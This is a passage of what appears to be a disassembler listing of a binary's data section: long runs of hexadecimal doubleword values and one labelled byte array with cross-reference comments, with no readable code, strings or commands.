		dd 7A014032h, 2C568545h, 782006A6h, 0D7D33D37h,	6BF202FAh
		dd 0D2EE79A4h, 38286548h, 65E2F800h, 0D08990B9h, 215900AEh
		dd 0B61FA7BAh, 7000A01Ah, 0FAD6F814h, 36C031h, 8193EDB1h
		dd 4F4DB4C8h, 0B2071B7Eh, 3ABFA7B8h, 0A91E0E20h, 8B7A0389h
		dd 501FA66Bh, 0F1E4BBF8h, 6E63450Fh, 93EE0D3h, 1884BAh
		dd 945E9D7Ah, 9B71C85Bh, 6BCDE401h, 54D1F874h, 0E5EA20h
		dd 9D81AD6Ah, 86477670h, 0FF1441Fh, 0CF9C78C0h,	0D17C8h
		dd 3608B0F8h, 5788E477h, 5DCC0B00h, 6E94A547h, 0AD81269Fh
		dd 40B21FC7h, 4CD72C46h, 0F1FCA58h, 32802FC7h, 0BFB17520h
		dd 88900003h, 0FEE6FAD9h, 0DB0EE1B8h, 612A0C49h, 0D45D8AF4h
		dd 4FAFC4h, 0BE8F5F06h,	105E0AF6h, 0FD1C1F00h, 0DC07FA24h
		dd 1E9E0086h, 3AC6BA27h, 0F674BDA9h, 1177ED00h,	1760704Fh
		dd 0C3CD3992h, 5AD41684h, 3EC7AACFh, 15AE7A70h,	0A90A6h
		dd 260541Bh, 130498EFh,	664B6800h, 3C9A3496h, 0BA8900F2h
		dd 561BFB16h, 0E007A16Bh, 0D68F0767h, 0CCDB72F0h, 93130746h
		dd 0F0E5E9F6h, 80B137CFh, 4A3DFF00h, 83256D9Fh,	0A98500BBh
		dd 48461038h, 0AD2CFCA7h, 4D005813h, 31E3EAABh,	949805CAh
		dd 399A6F8h, 2A1B34A8h,	0DCFE9691h, 93008E65h, 14D967E7h
		dd 1CB2E9C1h, 530C8DD6h, 1F01FB38h, 0FA187949h,	8568DCh
		dd 0D273CD29h, 0F7B2EAF0h, 0A4A20503h, 0A952D51Ch, 0C821927h
		dd 0A39965AAh, 2A9EA082h, 1705D282h, 238C8CE0h,	0A87C4D2Eh
		dd 7EF69A00h, 0EF789Eh,	59D488Eh, 8760A166h, 880081ECh
		dd 8CA9FD47h, 8A11A0h, 9B729EE1h, 8F61187Bh, 0F5623718h
		dd 392EC5D8h, 243DFC91h, 2213D680h, 4802DE95h, 0EB64C00h
		dd 5C5846DDh, 0C3E30021h, 94D3075Dh, 0AC002A37h, 0CF4C0854h
		dd 5EBCBEh, 9233FEBDh, 32C06964h, 80673539h, 109BDEABh
		dd 79A720Fh, 84F2A64Dh,	13E250E9h, 5D00DA6Dh, 0F0E312E8h
		dd 131434Eh, 96755B38h,	20568A08h, 0D501207Bh, 78031A6Eh
		dd 0C0DBA313h, 3CEE4Fh,	0BBDB6296h, 0F0014142h,	0DF006498h
		dd 8BD32D08h, 7FC44BBEh, 94C300CDh, 6E231A52h, 4E000D48h
		dd 0DA6B4CC2h, 385814BCh, 0D5800430h, 45A4ED69h, 70009B9Fh
		dd 6B641150h, 2414240Ah, 0F1FB77h, 0CFBEC3E1h, 74E2C8F0h
		dd 0FC5D2B00h, 5AF3C040h, 0F60E0061h, 0D57B4324h, 0B90360F2h
		dd 0EFFF4745h, 704E8857h, 0BFD00067h, 245135D7h, 5A00E8CAh
		dd 490B4627h, 2D2686Ch,	52A3EA34h, 60E01083h, 3001D139h
		dd 32D45C27h, 1ED47501h, 0D3BB0FFCh, 0F5C0D051h, 8BCA3FF0h
		dd 0E252F600h, 0F13ACF77h, 0C0A7007Ah, 2DDE67C8h, 2338AEF2h
		dd 863280B3h, 507DF96Fh, 6D7609EAh, 0BA00AC99h,	0B36924CDh
		dd 0DE45FA0Bh, 0B40C006Ah, 0B7944Ah, 1CEAB089h,	411D20B1h
		dd 2CA8BF26h, 25F98B80h, 0EC732B51h, 871F0044h,	3FD4ECC1h
		dd 6090E09Ah, 0FA71AC00h, 0E88B5847h, 767A90BCh, 886A00D2h
		dd 542E5C4Dh, 0E3901E21h, 0FFFEED00h, 0CD09F532h, 0E860FA9h
		dd 71DCB5Fh, 301B87D1h,	27026F5Dh, 2F0038F0h, 2EEF6A54h
		dd 806431h, 4386B894h, 0D7ACCA15h, 0F4BB6C00h, 7F6B753Bh
		dd 848004Fh, 0A5F3D6C0h, 3D00379Ah, 0DC24E154h,	2A9DFDh
		dd 69B8DF30h, 612B4707h, 3E518300h, 8773827Dh, 0FFDC07E3h
		dd 60C70818h, 504BCB42h, 447C3200h, 0EEA290F7h,	4C950051h
		dd 3661C94Fh, 0E848C487h, 1F0C01BFh, 20608D04h,	1CE2CCDCh
		dd 8A47CFh, 0E13E5688h,	2600468Ch, 0FA8459C0h, 260D70Bh
		dd 39B92E28h, 0FF404372h, 7B1EDCD0h, 0CDC05876h, 8C9B360Dh
		dd 6490F0h, 15BAA0B7h, 661B62DCh, 5DBB2D01h, 0EF5EECB2h
		dd 4D61D9E4h, 64003473h, 9326981Dh, 1800C02Dh, 0C263028Fh
		dd 0B858CC09h, 290B005Bh, 17CFCEC4h, 0A00D287h,	45D148EFh
		dd 7B9B4734h, 0E0490007h, 0A1A905AFh, 7E01E921h, 1C186CB6h
		dd 2960C35Eh, 0EDC403BCh, 7C85DF46h, 96BE33A0h,	9731C100h
		dd 937E3ABBh
		dd 730107FAh, 0D07A0D9Bh, 2268482h, 7D861B07h, 0C6515263h
		dd 0E0874F36h, 0F085542Ah, 8EFCDD91h, 96409400h, 7339F2BEh
		dd 5BAD03E9h, 0F50874F0h, 7B12AFF8h, 0D1E21E1Fh, 83EA5140h
		dd 0C67F7Ch, 0B34278B8h, 94E5842Fh, 0DA2CF400h,	0FCC28C85h
		dd 76550030h, 97733F78h, 6560EA5Dh, 0DA7CE710h,	756905C7h
		dd 0C00CD03Eh, 1CF260A0h, 0A0AD6C09h, 932680D2h, 12F6E623h
		dd 42AC7DFh, 807E5407h,	0F424DA57h, 880D5307h, 0EA326F71h
		dd 7AE2804Bh, 5721ADh, 41C15566h, 0BFC0D0CBh, 1706A93Eh
		dd 0CC0138FDh, 5D4ED167h, 0A4E46EC1h, 1B720049h, 0E34B3D27h
		dd 0D034A41h, 10DAB1D6h, 762FA0EDh, 9BF4D8h, 0CD566821h
		dd 0A5FB982Ch, 6DEB40Fh, 0D38AE072h, 0CEDB42h, 2C96655Ch
		dd 111E558Dh, 0DFAE7600h, 976D43C1h, 87D70015h,	74440972h
		dd 5D00B00Dh, 492D81E7h, 539FA9Fh, 0A96A9E9Ah, 0A048D062h
		dd 0A30002C7h, 38BE23C5h, 3ED0D5ACh, 21659BEDh,	61B6804Ch
		dd 7F07CB95h, 7C2A188Ch, 0E2D5A3h, 2E966720h, 0D7DB23D2h
		dd 8BB50C00h, 9BB74066h, 9F5002EEh, 0BDF3CC97h,	56671048h
		dd 2C6BAD00h, 208F21A9h, 0C11500C5h, 132AE61Ch,	5000B667h
		dd 0AC468955h, 0F3BCF3Fh, 2C9F5226h, 8AE0838Eh,	6A3994C2h
		dd 7A3D0A07h, 0A7D28D0Bh, 76C0A14Fh, 0E1459B77h, 0AA8D0020h
		dd 0C7AE01FDh, 0C690BFDEh, 0E28BFCE9h, 813AB094h, 92D95CDDh
		dd 0F9809C3Bh, 0FF5636D8h, 9B008CA5h, 3CDCED2Ch, 806C0F5Eh
		dd 6F01694Dh, 45649493h, 18D8CFEAh, 309A1E89h, 4E017CF8h
		dd 20914752h, 0D9C0806Bh, 0E073427Ah, 0A19AE862h, 0E318DD8Ch
		dd 94CA5402h, 111CC0F1h, 0D0A98084h, 1AD9553Fh,	26441625h
		dd 3AFCF7h, 0A29DB566h,	0C3584Fh, 0BE627CB3h, 0D3C80AF5h
		dd 6D669B0Ch, 0DD2028h,	0B91BCA55h, 7AE6ADD2h, 0E01F8277h
		dd 77007F5Dh, 0AEEB70E5h, 689400CDh, 87C166B1h,	0F2004A67h
		dd 5D38F35Ch, 838189h, 239E160Bh, 47BE3C4Bh, 80C06A00h
		dd 888C77D1h, 1715007Ch, 297B1B70h, 0BF07BD08h,	822DB160h
		dd 18739390h, 8C68008Bh, 1519DEC1h, 11032F05h, 0CAB57CBh
		dd 0D0D0CB6Dh, 3C335h, 0A512A990h, 0ED41FDF6h, 44BA0901h
		dd 2031E551h, 98E792C8h, 7E4002Ch, 34B450F5h, 0CC07751Ah
		dd 8AF8F096h, 20543B50h, 6E4A00A2h, 0A2CD878h, 41007B51h
		dd 2DBEEC93h, 7361832h,	911AB962h, 4D451Eh, 6D3F76DBh
		dd 1F06AFBh, 0DE925900h, 0F2AFA75Fh, 0D60A2EC2h, 0F02879h
		dd 0DF14EA4Dh, 0E9445FDh, 39E6E700h, 0BFB3F011h, 87C00B1h
		dd 86CCED52h, 570034F6h, 0F58E43A1h, 25544C2h, 0F915EA9Fh
		dd 3EC0984Bh, 0E8E04651h, 63B18F00h, 1422CBB3h,	0B8CC00E1h
		dd 21825D44h, 3F50BC5Ah, 0DD7105E2h, 31C7F500h,	0F88E0C58h
		dd 379900C2h, 7961C5A9h, 66001219h, 2D69D025h, 0EA9BE654h
		dd 0C2F403C7h, 0C683B964h, 0D8DF9580h, 0D7C47C18h, 3E016598h
		dd 340027ABh, 79A920DCh, 9704B6Fh, 8E60CF0Ah, 5400A405h
		dd 86534F19h, 0C5121CEFh, 1894C19Dh, 0DCC306DBh, 0A80EE745h
		dd 6EF89389h, 911B871Fh, 2E29A620h, 4C1500ECh, 0D1E74DACh
		dd 0B2F05772h, 84527700h, 96A6FE7Ch, 2BAA0F58h,	0C20AFCBh
		dd 0BC4414CDh, 980BF00h, 0D3C792F2h, 4B420707h,	916FCE9Fh
		dd 0E4FE3412h, 0FF00C354h, 67739D01h, 1879B539h, 503D9320h
		dd 663091A5h, 27F93922h, 98503882h, 2E69BA00h, 2076FC52h
		dd 7B91AA00h, 9FF497C1h, 6B6A00EFh, 0E8520BF2h,	4531CBFAh
		dd 0CE28288Bh, 0D5710C0h, 96AAE764h, 0FC45F869h, 0F3660C00h
		dd 0D1E90850h, 72C12403h, 0F6813E8Bh, 0AD731852h, 0B039FC97h
		dd 492B320Eh, 4A0D2092h, 7F17C67h, 63B49D7Dh, 72BA90BBh
		dd 8001FF9Eh, 93FCF740h, 0E9607410h, 3DFD0087h,	253F4191h
		dd 19F8132Bh, 0F0C04698h, 949AED46h, 76071EFh, 36D5ECA4h
		dd 0BE67A01Dh, 39809114h, 0A863009Fh, 0B6AD2E5Bh, 0D807F92Dh
		dd 4D15A5FEh, 0CEFFF281h, 0E367D8E3h, 48FB0068h, 9263BAACh
		dd 5E01DDD9h, 219636B8h, 9260AD35h, 0E81F0034h,	7370D429h
		dd 7407B8F1h, 5D990E03h, 0ACC363F0h, 0CEBF488Dh, 0F230600Bh
		dd 895C8380h, 0E00BEEA4h, 863BC30Bh, 3938F09Dh,	0D01F3290h
		dd 0FC160308h, 0B288B57Ch, 0AD0F1E30h, 43F97826h, 0F842EAC6h
		dd 0FF416C9h, 0EDBFE1A4h, 5A6D2707h, 0F8A300B4h, 3D3C8A6Bh
		dd 3BC1E000h, 90B2DDEFh, 85BB0054h, 5A5F8CB3h, 74000896h
		dd 1170A9B0h, 7BEAC1h, 91310FA0h, 4A5D2D0Eh, 8B68900h
		dd 2A8DA79Ch, 2BD200E8h, 53EF46E5h, 4800588Ah, 0F6C3B5A6h
		dd 7A2E0D3h, 0C2CC1C04h, 0F17D2061h, 3FA0115h, 0EC941118h
		dd 7F97361h, 107967E6h,	452F80F5h, 0FD095E9Bh, 83D8E39Eh
		dd 0F8169465h, 7FD7F16Dh, 0A5E8C6h, 41E2DCFEh, 0A11B2B78h
		dd 688A6100h, 4B093852h, 71E5006Ch, 17627AFAh, 2F00EC23h
		dd 5E6A82F7h, 0EE4B4EF0h, 919400E0h, 0DE2E90E6h, 0FE0F1809h
		dd 0C0EE398Bh, 7F6197F5h, 1FC57DE0h, 0C06413D6h, 69D1EABBh
		dd 0D00FA8Dh, 537917DBh, 0C946B5h, 0F1C09840h, 2AAF89F7h
		dd 312FA900h, 42E9CAC2h, 9C300088h, 0E717BD63h,	0FD002A73h
		dd 0B43A6F7Eh, 1F0690Bh, 0EFFBEEFEh, 807B1FF3h,	50F44418h
		dd 6780421h, 6F9B8BA8h,	3F00E045h, 0A3335E37h, 48BFFA07h
		dd 28074F3Ch, 0D0F405F3h, 0F1F7F060h, 0B5E58309h, 988CD72Fh
		dd 4706A6C0h, 442B3889h, 1EEC7780h, 80F054ACh, 9F2A58D4h
		dd 84000A28h, 23FB93D3h, 7AB18Ah, 52B24632h, 380247DEh
		dd 4F428200h, 9B88F057h, 940CE11h, 19BE1D20h, 0C95428AEh
		dd 0CD4C8888h, 0E5300053h, 1EBD9547h, 0C1AA738Bh, 0EDD91864h
		dd 0A641E090h, 0C5F29800h, 6E1C9E8h, 32070086h,	0B86448D2h
		dd 4B00CEC1h, 0C82AD645h, 0AFE3E2h, 6DB27DCFh, 29C65B75h
		dd 0F0EA5872h, 0DD049600h, 5FAB8277h, 91300D9h,	1E8D4B75h
		dd 6A0017B5h, 0FF0630E8h, 519ACDh, 2E74BF47h, 5E5702CBh
		dd 2019C229h, 307A8162h, 0ED0020B5h, 0C5A89D8Fh, 29175h
		dd 74D0E10Dh, 1749CD84h, 0D4839201h, 19FE6F3Ah,	9BF54880h
		dd 0E87BBC42h, 3436EF00h, 0FF9C97C4h, 0E9497ABDh, 9D71C080h
		dd 0E25CBFFBh, 46D39801h, 7431F7EAh, 0D72088E9h, 0AFB90027h
		dd 387CFE26h, 0EEE085E6h, 0E71335Ch, 0AC19E0CAh, 232839h
		dd 0D9B52187h, 2A36CDBCh, 0EFE0A3Eh, 8065DEEFh,	0FF990B56h
		dd 0D9280032h, 0BA9D81A0h, 38008E88h, 0FCCB550Ch, 0FF3532Fh
		dd 0DDA16611h, 818344C1h, 14D870B9h, 0B88BEE00h, 0DC8ED109h
		dd 173B0043h, 2BD49738h, 2CFA41F2h, 1F7AD53Dh, 11402050h
		dd 0B26B56DFh, 70E2A7h,	0FB9C2EB7h, 67DC7674h, 2500F67Fh
		dd 2DC60A42h, 48A28CF7h, 0A400302Ah, 0E844E079h, 47E62EEEh
		dd 5730C9B8h, 42E6C878h, 0B6B501CEh, 655DC70h, 5F8DCE8h
		dd 9E8CBD00h, 0FB7ACA34h, 277013E0h, 1500242h, 20965581h
		dd 0A0FFD04h, 2C4002A8h, 0A523E2ABh, 0E07C5000h, 0FE012021h
		dd 0B6A04CCBh, 82D040h,	0EE9293A8h, 8EBC3F49h, 758D6501h
		dd 74E7B0A2h, 430B854h,	2BCD991Ch, 0DB0C303Dh, 90306CA5h
		dd 26218900h, 2941A5D3h, 1D311D22h, 6FC1FE9h, 19A2AB58h
		dd 15963511h, 1853E514h, 81118910h, 5610D78Dh, 0CB4FE07h
		dd 24D1F214h, 0C718514h, 1805A114h, 0EC305D2Ah,	112884D5h
		dd 10110C97h, 0E921A375h
		dd 30E70B8Ah, 2A0CED15h, 0A154484Eh, 18A81130h,	48A012E5h
		dd 3CA15124h, 40A98439h, 0E0C02C8Fh, 0F4803CF9h, 6B46072Bh
		dd 3AEF6F0Dh, 988405A8h, 229703C1h, 9E88A6C4h, 9D13FA6Dh
		dd 8C009908h, 54D507C6h, 21E92497h, 85383058h, 9100ACDAh
		dd 0FFE60B52h, 9ECFD3Dh, 3509D6B9h, 0C4776C00h,	0DCF890B1h
		dd 0C7BF6900h, 96CC50ACh, 0BB6FC1Ch, 825D409Fh,	6C00B678h
		dd 0EF531744h, 6A6F29h,	7DF2E750h, 0A760EA57h, 0BE0C4CA4h
		dd 0D8D140CBh, 0CCED003Eh, 83074533h, 0B7001CF8h, 956B41C3h
		dd 0C67BAD1h, 4D97E3B8h, 0ECEDFEE0h, 0D4075147h, 76E2251Ch
		dd 0F40300DFh, 5273F05h, 0FE6BEFAAh, 0A11C7092h, 1787D360h
		dd 0A5120CC5h, 0A0060E0h, 82E493BBh, 0F8215CD0h, 5672BA7h
		dd 32416EC0h, 0C452C445h, 9A0144AFh, 0D039F78Fh, 28800AF1h
		dd 31FA8B98h, 0FE003FACh, 0B8F42352h, 6EA0C2h, 95A7C5FDh
		dd 6A130E6h, 5C0A52h, 0D94EB28Ch, 96220B0h, 5E25AED3h
		dd 0C903DB78h, 0DB90EA72h, 6391F049h, 24A13D39h, 59153580h
		dd 0E6C26AE0h, 0D49A8826h, 49D98D00h, 314CBC8h,	0F052AE22h
		dd 4CC0F6EEh, 264991A9h, 0C6100D4h, 0CEAE4BBBh,	2D42383Dh
		dd 0E51E626h, 58B4F4B8h, 0C28D92B8h, 4C96531Bh,	0D2A72B00h
		dd 5870D477h, 53E70146h, 2343F3F4h, 0D6B44017h,	5D0C99A3h
		dd 382EE634h, 41216096h, 89752B95h, 0DA2E80Ch, 2C3144h
		dd 0E1EBC021h, 0C85B6287h, 132CE3Bh, 1EED6B08h,	74234FA3h
		dd 0B0D8E021h, 0F43100DBh, 0C201AA5h, 5709DA6Fh, 210B7B7Fh
		dd 96AEA720h, 40D0CC20h, 12488D31h, 0C59D008Ch,	8851531Fh
		dd 0C3D30047h, 0F514743Fh, 0AD1CC7C2h, 0E74A5D30h, 8057AC20h
		dd 0C7A47138h, 7048DEFh, 22C8257Ah, 0CA04948Bh,	986EFCA4h
		dd 942947D4h, 0F2544445h, 0C8523F64h, 0E36FBE00h, 5D4C227Dh
		dd 0DBE6FE00h, 1CCDE37h, 62B70018h, 1E7A6A5Ah, 48004FD0h
		dd 84EEA246h, 0F760B91h, 0E7857D9Ch, 3E434BE0h,	0C70012F2h
		dd 2DB99D6h, 0E66EF9h, 0EDE22D26h, 0D91B4188h, 16ECC5Ch
		dd 997D140Eh, 8883E970h, 9F3674B1h, 6964FA1Ch, 524FDD00h
		dd 0CF238Dh, 17D49BB0h,	0A776EA08h, 8E87F63Ah, 7EA067ABh
		dd 0A0DB854Ch, 0C85E1FD2h, 0E81A9440h, 91459B00h, 0A8EC724h
		dd 0A5E14D00h, 0F11B50B1h, 113FAD0h, 0EF72C35Fh, 0EC7634BDh
		dd 783E023Dh, 0F70F7487h, 802D8E90h, 8B310D2Bh,	26730E4Ah
		dd 0FFEEF1h, 0CE6ED4Bh,	600791Eh, 0A5D49FEBh, 49380h, 815C7C09h
		dd 1A5B675Fh, 0B34A6E00h, 46C4CFA3h, 7B00B024h,	7D4D1FA4h
		dd 0EB1C40A1h, 515B8BF4h, 55664901h, 8144965Eh,	7CDB2F8h
		dd 73B062A9h, 90360716h, 4F92BCC9h, 82243A18h, 1DDC237Ah
		dd 0BE09F980h, 0D541C883h, 78F8B8AAh, 0F600B43Bh, 0E1F1299Dh
		dd 3F6F1A4Fh, 0CB0A3A0Dh, 180D5CAh, 2B88C8E8h, 0DBD98213h
		dd 4BA03BC7h, 6577F804h, 76D0ED6Fh, 7DC47890h, 50FCA552h
		dd 3C00B2B7h, 3003A456h, 0A8D76B37h, 0E4C24F4h,	0D5F816C2h
		dd 3CE08094h, 35240E2h,	0CBA6F344h, 37803EEh, 0AA49057Bh
		dd 586F0A89h, 1E52DDC4h, 476A0790h, 50D00790h, 0F021C20Ah
		dd 1810C4F8h, 39EB4816h, 44BD58E0h, 0AF18C0A2h,	3211876h
		dd 0CC3D07ECh, 871CB073h, 39A1C31Bh, 55641101h,	0C1E8EC8Ch
		dd 3775C880h, 7460B424h, 1684400h, 80E60C6Ah, 8C0B2465h
		dd 1D3F0040h, 933EBC7Ch, 8D7A1300h, 32EB2AB7h, 0E7B900B5h
		dd 0CA85B0A1h, 98032619h, 0FBAE6E27h, 3880B5E8h, 77A087h
		dd 4C47B67h, 84D8C9D0h,	2A803600h, 3505D5F1h, 75721EDCh
		dd 0CA9A403Eh, 79942E9Dh, 20C1B200h, 503C525h
		db 0F9h
byte_520045	db 1, 0EAh, 0BAh	; DATA XREF: ___:0042CC88o
					; ___:0042CCA0o
		dd 55BBF741h, 0B911C837h, 1F2A4000h, 3506E8AEh,	45DE1630h
		dd 9CBCC1h, 59116299h, 864F2Dh,	9DA5AB0Eh, 6A4D32B8h, 0AF417B18h
		dd 5603C4D0h, 0B7C00412h, 3623A2B9h, 57EC917Eh,	80266000h
		dd 629A252Fh, 80C00B1h,	1A7C4C6Fh, 8F3A367Ah, 3F9601Ch
		dd 39163F7h, 0F69F6EF1h, 58709C75h, 897638h, 0CED61B1h
		dd 5BE2BC9Bh, 853F8092h, 7A00A8AFh, 0EC49E10Bh,	0E62542h
		dd 0A7C90A1Ch, 0AC8CBC9Ah, 915E3Bh, 0BE9D5AA8h,	486241h
		dd 647A14B5h, 0FE63967Eh, 6ED83800h, 7B0E60DBh,	9759CE6Fh
		dd 0FC5DEE20h, 0DC0E2A55h, 0A113C82Eh, 6BC4CD5Eh, 549DF1C8h
		dd 5A8450h, 1A5FE20Dh, 0A50595D5h, 1898833Ah, 1020C9DBh
		dd 0BA80019h, 47140A44h, 0D700F23Dh, 0A9DA768Bh, 14EE661Bh
		dd 9C5145C0h, 242122B8h, 42AF01C5h, 803D0828h, 0BA696792h
		dd 588B1A12h, 0DE3A6BA6h, 4C2A9Fh, 0CFC193E5h, 3939A996h
		dd 13660F9Dh, 1A2F603Dh, 2448BAA5h, 1D58A4E6h, 1EF0AA5Fh
		dd 0C06F8044h, 0F9D45864h, 0FE00E991h, 7295D6DEh, 14C4CE20h
		dd 9C821652h, 45A30076h, 0FA3FBA04h, 20034199h,	76402F02h
		dd 7C200111h, 0E9D0074Ah, 3A1FE8DDh, 0B4399F00h, 43A3930Ch
		dd 2A10E57h, 7B20CB30h,	519FDE26h, 6CC0F905h, 0E0204715h
		dd 0F32ED6Ah, 0CCFA580Ah, 13184EE8h, 5053F9h, 0A111C5F4h
		dd 4DACC849h, 1E7F2809h, 693D0006h, 396C39Fh, 0E69E7C3Dh
		dd 0C982249Ch, 860848Ah, 0CD60972Fh, 464C7C04h,	40BA3BE4h
		dd 939A0052h, 0C3945310h, 6E002E01h, 0C9681FBDh, 0DE67E8h
		dd 2D62C2Ah, 0A3BAA266h, 0B48C1918h, 0A6EC4C8h,	0AB999C80h
		dd 3F3100BCh, 0D31FFE60h, 17242CEAh, 23808805h,	42995291h
		dd 61C100B8h, 7CD77E95h, 62000649h, 0DF63A8BEh,	375B25h
		dd 0F315C99Bh, 942FEEB1h, 7C305214h, 0D7A40090h, 67EBC8AFh
		dd 69B30011h, 9B8F1875h, 0F301FC37h, 0E7EFF8C9h, 4DB3A16h
		dd 4C4297F1h, 0A9C2EA39h, 9B8C9896h, 484DEA0Ah,	0FCE05074h
		dd 3DE009CBh, 5C2F380Eh, 0A51860E1h, 0F548E15h,	432450F6h
		dd 64A7CD29h, 35AAA0DAh, 4E0416D9h, 0A61C5D9Ch,	403D83EEh
		dd 727FC7D8h, 6898387Eh, 24777E00h, 2FDA8562h, 75BE249Eh
		dd 0BC715610h, 79A842h,	9D2117D8h, 2AC3D42Dh, 0B297D8C0h
		dd 286EA2h, 6DDC54Bh, 75593D51h, 0D6D10104h, 148088FDh
		dd 1C372E84h, 9DE9A693h, 8A23CF28h, 7842012h, 2508A405h
		dd 4640316Ah, 4A7B21A5h, 189AF90Fh, 348E2088h, 5EC7B5h
		dd 4748F171h, 9ECFFCD4h, 3CFBC503h, 0C039AD73h,	7B6D43h
		dd 3E831499h, 0FDCD8FBBh, 0DA97C700h, 98F21536h, 8D6F0048h
		dd 53929570h, 0CC3DF0E6h, 0D60B0043h, 263E4630h, 2C1B4822h
		dd 0D3195203h, 0ADD8940Ah, 970113FBh, 0C0769EBh, 0BADC3F50h
		dd 148801B2h, 549652CBh, 58C0A4BEh, 0A060FE09h,	0BB16F1A8h
		dd 0BC030256h, 72474B5Bh, 19F0EF40h, 0F1103C1Eh, 8F5CF740h
		dd 3F37E70h, 9C4F29Fh, 55F06378h, 30002D9Ch, 94B1A1B4h
		dd 4FB4204h, 76E37C26h,	80A4C553h, 0B2D17A75h, 0AE4F3800h
		dd 2E6D0E1Ch, 0B7435h, 79F0E419h, 0EC38095Ch, 0AA95BD00h
		dd 9C491ED2h, 5F7C0Dh, 4C2C1DF7h, 77EC1264h, 0F1350C7h
		dd 9EF665D0h, 96531C4Dh, 0AE5001Bh, 376A48BEh, 9577B900h
		dd 3AA67B10h, 62D0F545h, 2D53066Bh, 0A8FAEB6Fh,	3391808Dh
		dd 6803CE80h, 600042Ch,	0F5AFB865h, 30FC2BA8h, 762811C8h
		dd 80775030h, 127A9F00h, 0A46AB3F3h, 68FA30F2h,	8E71CE20h
		dd 0F447F800h, 635650A0h, 0AC62F87Ah, 71BF0294h, 68791C7h
		dd 0C07B5218h, 3BCB9B20h, 7673596Eh, 2E568D00h,	96BFD3C4h
		dd 0D90F0CD5h, 1271F7F3h, 3D0088F4h, 0D206E36Dh, 0E65C9722h
		dd 0FA9C0082h, 0F3954ADCh, 730F8C6Fh, 0CB946CE8h, 0B1038232h
		dd 8094B75Ch, 91FE0B19h, 2200678Dh, 58777F7Bh, 6151D6Ah
		dd 70AAF9B8h, 3307302Fh, 45F761EDh, 0E9A5ECE0h,	0AAA4A83Bh
		dd 433F1496h, 0D280AC3Ah, 69C5F35Bh, 0AC10A8A2h, 50800FFFh
		dd 855B066Dh, 41E9EB99h, 428A3238h, 90837901h, 0D3421C5h
		dd 0E8C33803h, 24695Bh,	13378F42h, 0C1D22E91h, 7451D400h
		dd 0E78DB6ABh, 0CDE477h, 40935D3Eh, 7E3FF70h, 0F933BD09h
		dd 0C979004Ch, 2D10D2h,	0B6C5EC6Eh, 302CDB7Bh, 9CE1E000h
		dd 9A36D866h, 0DA2300F4h, 0AE2D22BFh, 1900F14Ch, 0AC85B704h
		dd 78C7D2DEh, 0E9CE099Eh, 0C01F331h, 0C8BAE848h, 0D0971A5h
		dd 2081054Eh, 7542D008h, 0F17C8Fh, 0CFCE36BAh, 793BA487h
		dd 0D52B1B07h, 75871A6h, 0D0CEE46Bh, 0EFA7A427h, 0E8EEBA00h
		dd 73DA9DBCh, 7ED875D7h, 720B01B6h, 0BF2A573Dh,	9E544AEBh
		dd 4577AE48h, 60CCC025h, 5C00B07Bh, 58045AB6h, 2493D41Bh
		dd 30F8F9DEh, 42013490h, 7AAE8101h, 6653A07Fh, 0AAB03822h
		dd 58847B53h, 0E1CA7DAh, 0BBED40C3h, 0FFB3341Fh, 0DC25CC29h
		dd 0BA00861Dh, 268A9302h, 3BCF0099h, 0CC34EF88h, 0FB7E7AFFh
		dd 0A0228B00h, 71B6C43Ah, 20E81D96h, 0F1D30172h, 0CC9A024Fh
		dd 0BE00FFD0h, 6B0E992Dh, 1C1BB7h, 139BADF0h, 0D2324B5Fh
		dd 10D7BB00h, 14386554h, 23F80012h, 857B3104h, 2F07347Ah
		dd 251E67A7h, 22BC43h, 7773DF20h, 16ED991h, 8339C8F0h
		dd 89E5002Ah, 0A2381610h, 13D2009Ah, 5C36DD28h,	8E3CD17Ch
		dd 808ABEB2h, 0A8A0701Ch, 0CF79EAh, 0C72F72EDh,	466BF7AAh
		dd 49898F03h, 970621B2h, 0EDE8500h, 0A7CC01E4h,	7105DF13h
		dd 7BF7FC20h, 76FD2907h, 0BCF03509h, 1BE90Bh, 0C3F3B291h
		dd 5A5EBD63h, 1DAF1338h, 64181105h, 14CA4C0h, 59889998h
		dd 0FBFFD7C9h, 2D1F4FE0h, 0E103827Eh, 0B5FE6C1Bh, 2CA3B83Fh
		dd 85A80210h, 0BD4B9EC3h, 691D3F63h, 0C2197B80h, 33F8BAE8h
		dd 0C5C8C1B3h, 80034DD7h, 30617D18h, 0E59FDEh, 7943F80Dh
		dd 595F06A8h, 27C2BD00h, 6AF908B3h, 0D288C0FDh,	18CB6B4h
		dd 0BBEAB801h, 0CF12BC85h, 0B2FBE4h, 0CA422CBh,	35935905h
		dd 902DB30Eh, 0A7BF80BDh, 29F252h, 78DC243Fh, 8B0593B9h
		dd 2115E8ECh, 0F1F013E1h, 470C11FEh, 7C343D00h,	0E4EB9391h
		dd 964C002Ah, 83C68A28h, 3218256Fh, 0D891C456h,	0BFF7004Eh
		dd 2709C929h, 874E89Bh,	0AA21AC63h, 0C8F1D91Dh,	5E6EFF4h
		dd 1B115707h, 0E8A8376h, 6EE57812h, 20E01426h, 0D514D283h
		dd 24DCE721h, 16400479h, 40FC00Bh, 8E1FDED7h, 84008BE5h
		dd 0EB31F6DBh, 8AF9C065h, 4051A70Fh, 0A94F00ADh, 504EC9h
		dd 91542969h, 16FFEE18h, 5A4C1307h, 5640878Bh, 15FA11A9h
		dd 0ECA14D55h, 0AF738900h, 0D0DDEE3Eh, 34A8C200h, 32C0C89Ch
		dd 841B51F9h, 1DD4F2F1h, 39A708Fh, 7869230Dh, 0A9D09FC2h
		dd 2407D062h, 32724027h, 9883CBF2h, 19B3188h, 0E5A9F0BFh
		dd 0F5079477h, 21C4477Ch, 1023CE1Fh, 7996F765h,	6AB11FDh
		dd 2457109Ah, 3736177Eh, 2A8C0140h, 240A6AD0h, 89884558h
		dd 38EB1EA3h, 0C7013B8Dh, 6A0C81DCh, 14E2FCBCh,	42947307h
		dd 26002A33h, 1C9CDFh, 7EF9F140h, 4D65984Ah, 79C97700h
		dd 0B7B4D9DEh, 71541CCCh, 0CFDA0094h, 606948C4h, 56FC0700h
		dd 0C1C7010Ch, 9504003Fh, 4DACD5FFh, 4664D2B1h,	7983CF48h
		dd 3CC4A7CAh, 7A3E85C0h, 1062005Dh, 0DCC153E2h,	0BF7DB7E0h
		dd 170C38h, 0ADA90A38h,	1469F63h, 6D9CE82Ch, 700F7B15h
		dd 310091AFh
		dd 6F9E4C0Eh, 3B117958h, 7C00A5E0h, 0DC96BB0Ah,	0FD48A4D4h
		dd 0ED3F83h, 0C6844861h, 3561A4Fh, 2A86E66Bh, 6E9C2F1h
